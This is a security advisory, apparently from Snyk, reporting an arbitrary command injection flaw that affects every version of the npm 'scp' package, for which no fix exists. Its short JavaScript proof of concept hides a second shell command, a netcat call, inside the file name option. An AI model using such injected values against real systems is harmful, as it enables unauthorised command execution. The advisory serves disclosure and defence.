Arbitrary Command Injection

Affecting scp package, ALL versions

Overview

Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

var scp = require('scp');

var options = {
    file: '& nc localhost 4444; #',
    user: 'username',
    host: 'myServer',
    port: '20',
    path: '~'
}

scp.send(options, function (err) {
    if (err) console.log(err);
    else console.log('File transferred.');
});

Remediation

There is no fixed version for scp.